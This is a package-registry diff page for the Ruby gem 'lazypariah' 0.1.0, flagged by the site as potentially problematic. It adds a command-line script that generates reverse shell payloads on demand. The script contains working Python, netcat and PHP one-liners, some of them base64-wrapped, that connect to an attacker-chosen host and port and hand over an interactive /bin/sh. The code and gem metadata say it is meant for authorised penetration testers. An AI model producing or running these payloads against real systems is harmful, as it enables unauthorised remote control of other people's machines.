lazypariah 0.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of lazypariah might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/bin/lazypariah +195 -0
  3. metadata +50 -0
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 84dee39ab14144f0a13255ab476ec3e31c87f3fd99d5f3303315ace1b52b2c6c
4
+ data.tar.gz: f184588a6cab8ec6151825f88b07b82fb456160aece262fda73cccdeb84b2d17
5
+ SHA512:
6
+ metadata.gz: 90c51e050d9d1575ca8e2f97d0d79ad37f07e2caca82bd7e6143ded956caaad5ff0db703f283b927b793f7d237245b18f4e7c2f4c8748c222a8efb5b78627818
7
+ data.tar.gz: 264bd194693f91bbfda7b5a312070e0874a927570f6e9f28658264dfc041324c9817a3c5ccb73cf1d06e73966a8a70e942593af87e3eafd77176d65285ac82d7
@@ -0,0 +1,195 @@
1
+ #!/usr/bin/env ruby
2
+ #
3
+ # Title: LAZYPARIAH
4
+ # Version: 0.1.0
5
+ # Description:
6
+ # LAZYPARIAH is a simple tool for generating various reverse shell payloads
7
+ # on the fly. It is intended to be used only in authorised circumstances by
8
+ # qualified penetration testers, security researchers and red team professionals.
9
+ #
10
+ # Copyright (C) 2020 Peter Bruce Funnell
11
+ #
12
+ # This program is free software: you can redistribute it and/or modify it under the terms of the GNU
13
+ # General Public License as published by the Free Software Foundation, either version 3 of the License,
14
+ # or (at your option) any later version.
15
+ #
16
+ # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
17
+ # the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
18
+ # License for more details.
19
+ #
20
+ # You should have received a copy of the GNU General Public License along with this program. If not,
21
+ # see <https://www.gnu.org/licenses/>.
22
+
23
+ # Load the necessary gems.
24
+ require "base64"
25
+ require "optparse"
26
+ require "erb"
27
+
28
+ # Define constants.
29
+ PROGRAM_NAME = "LAZYPARIAH".freeze()
30
+ PROGRAM_VERSION = "0.1.0".freeze()
31
+ EXECUTABLE_NAME = "lazypariah".freeze()
32
+
33
+ # Define payload list.
34
+ PAYLOAD_LIST = [
35
+ "python",
36
+ "python3_c",
37
+ "python2_c",
38
+ "python_c",
39
+ "python3_b64",
40
+ "python2_b64",
41
+ "python_b64",
42
+ "nc",
43
+ "nc_pipe",
44
+ "php_fd_3",
45
+ "php_fd_4",
46
+ "php_fd_5",
47
+ "php_fd_6",
48
+ "php_fd_3_c",
49
+ "php_fd_4_c",
50
+ "php_fd_5_c",
51
+ "php_fd_6_c",
52
+ "php_fd_3_tags",
53
+ "php_fd_4_tags",
54
+ "php_fd_5_tags",
55
+ "php_fd_6_tags",
56
+ "php_dev_tcp_tags"
57
+ ].sort()
58
+
59
+ # Define function for displaying program information.
60
+ def prog_info(donation_info=true)
61
+ puts("#{PROGRAM_NAME} #{PROGRAM_VERSION}")
62
+ puts("Copyright (C) 2020 Peter Bruce Funnell")
63
+ if donation_info
64
+ puts("\nBTC Donation Address (Author): 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g")
65
+ end
66
+ end
67
+
68
+ # Initialise command line argument parser.
69
+ option_parser = OptionParser.new do |options|
70
+ options.banner = "\nUsage:\t#{EXECUTABLE_NAME} [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>\n"
71
+ options.banner << "Note:\t<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.\n\n"
72
+ options.banner << "Example:\tlazypariah -u python3_b64 10.10.14.4 1555\n"
73
+ options.banner << "Example:\tlazypariah python2_c malicious.local 1337\n\n"
74
+ options.banner << "Valid Payloads:\n"
75
+ PAYLOAD_LIST.each do |p|
76
+ options.banner << "#{" "*4}#{p}\n"
77
+ end
78
+ options.banner << "\nValid Options:\n"
79
+ options.on("-h", "--help", "Display help text and exit.")
80
+ options.on("-l", "--license", "Display license information and exit.")
81
+ options.on("-u", "--url", "URL-encode the payload.")
82
+ options.on("-v", "--version", "Display version information and exit.\n\n")
83
+ end
84
+
85
+ # Define port_check method for strings.
86
+ class String
87
+ def port_check()
88
+ (self.to_i.to_s == self) and (self.to_i >= 0 and self.to_i <= 65535)
89
+ end
90
+ end
91
+
92
+ # Define print_output.
93
+ def print_output(s, url_encode=false)
94
+ if url_encode
95
+ print(ERB::Util.url_encode(s))
96
+ else
97
+ print(s)
98
+ end
99
+ end
100
+
101
+ # Attempt to parse command line arguments.
102
+ begin
103
+ arguments = Hash.new()
104
+ option_parser.parse!(into: arguments)
105
+ if arguments[:version]
106
+ prog_info(donation_info=false)
107
+ exit()
108
+ else
109
+ if arguments.length < 1 and ARGV.length < 1
110
+ prog_info()
111
+ puts("\nNo command line arguments were detected. Please consult the help text below for details on how to use #{PROGRAM_NAME}.\n")
112
+ puts(option_parser)
113
+ exit()
114
+ elsif arguments[:help]
115
+ prog_info()
116
+ puts(option_parser)
117
+ exit()
118
+ elsif arguments[:license]
119
+ prog_info(donation_info=false)
120
+ puts("\nThis program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>.")
121
+ elsif ARGV.length < 3
122
+ prog_info()
123
+ puts("\nThe command line arguments given to #{PROGRAM_NAME} were insufficient. #{PROGRAM_NAME} requires a payload type, attacker IP address and an attacker port in order to generate a reverse shell payload.\n")
124
+ puts(option_parser)
125
+ exit()
126
+ elsif ARGV.length > 3
127
+ prog_info()
128
+ puts("\nToo many command line arguments were given to #{PROGRAM_NAME}.\n")
129
+ puts(option_parser)
130
+ exit()
131
+ elsif not PAYLOAD_LIST.include?(ARGV[0])
132
+ prog_info()
133
+ puts("\n#{PROGRAM_NAME} did not recognise the specified payload. Please consult the valid list of payloads below.\n")
134
+ puts(option_parser)
135
+ exit()
136
+ elsif not ARGV[2].port_check()
137
+ prog_info()
138
+ puts("\nThe specified port was invalid. Please specify a port between 0 and 65535 (inclusive).\n\n")
139
+ else
140
+ url_encode = arguments[:url] ? true: false
141
+ case ARGV[0]
142
+ when "python"
143
+ print_output("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode)
144
+ when "python3_c"
145
+ print_output("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode)
146
+ when "python2_c"
147
+ print_output("python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode)
148
+ when "python_c"
149
+ print_output("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode)
150
+ when "python3_b64"
151
+ code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode)
152
+ print_output("echo #{code} | base64 -d | python3")
153
+ when "python2_b64"
154
+ code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode)
155
+ print_output("echo #{code} | base64 -d | python2")
156
+ when "python_b64"
157
+ code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode)
158
+ print_output("echo #{code} | base64 -d | python")
159
+ when "nc"
160
+ print_output("nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode)
161
+ when "nc_pipe"
162
+ print_output("/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode)
163
+ when "php_fd_3"
164
+ print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&3 >&3 2>&3\");", url_encode=url_encode)
165
+ when "php_fd_4"
166
+ print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&4 >&4 2>&4\");", url_encode=url_encode)
167
+ when "php_fd_5"
168
+ print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&5 >&5 2>&5\");", url_encode=url_encode)
169
+ when "php_fd_6"
170
+ print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&6 >&6 2>&6\");", url_encode=url_encode)
171
+ when "php_fd_3_c"
172
+ print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&3 >&3 2>&3\");'", url_encode=url_encode)
173
+ when "php_fd_4_c"
174
+ print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&4 >&4 2>&4\");'", url_encode=url_encode)
175
+ when "php_fd_5_c"
176
+ print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&5 >&5 2>&5\");'", url_encode=url_encode)
177
+ when "php_fd_6_c"
178
+ print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&6 >&6 2>&6\");'", url_encode=url_encode)
179
+ when "php_fd_3_tags"
180
+ print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&3 >&3 2>&3\");?>", url_encode=url_encode)
181
+ when "php_fd_4_tags"
182
+ print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&4 >&4 2>&4\");?>", url_encode=url_encode)
183
+ when "php_fd_5_tags"
184
+ print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&5 >&5 2>&5\");?>", url_encode=url_encode)
185
+ when "php_fd_6_tags"
186
+ print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&6 >&6 2>&6\");?>", url_encode=url_encode)
187
+ end
188
+ end
189
+ end
190
+ rescue OptionParser::InvalidOption, OptionParser::MissingArgument
191
+ # Invalid command line arguments were detected. Say so, display the help text, and exit.
192
+ puts("\nOne or more command line arguments were invalid.\n")
193
+ puts(option_parser)
194
+ exit()
195
+ end
metadata ADDED
@@ -0,0 +1,50 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: lazypariah
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - Peter Funnell
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2020-11-20 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: LAZYPARIAH is a simple tool for generating a range of reverse shell payloads
14
+ on the fly. It is intended to be used only in authorised circumstances by qualified
15
+ penetration testers, security researchers and red team professionals. Before downloading,
16
+ installing or using this tool, ensure that you understand the relevant laws in your
17
+ jurisdiction. The author of this tool does not endorse the usage of this tool for
18
+ illegal or unauthorised purposes.
19
+ email: hello@octetsplicer.com
20
+ executables:
21
+ - lazypariah
22
+ extensions: []
23
+ extra_rdoc_files: []
24
+ files:
25
+ - bin/lazypariah
26
+ homepage: https://github.com/octetsplicer/LAZYPARIAH
27
+ licenses:
28
+ - GPL-3.0+
29
+ metadata: {}
30
+ post_install_message:
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: 2.7.1
39
+ required_rubygems_version: !ruby/object:Gem::Requirement
40
+ requirements:
41
+ - - ">="
42
+ - !ruby/object:Gem::Version
43
+ version: '0'
44
+ requirements:
45
+ - A GNU/Linux or BSD operating system.
46
+ rubygems_version: 3.1.2
47
+ signing_key:
48
+ specification_version: 4
49
+ summary: A tool for generating reverse shell payloads on the fly.
50
+ test_files: []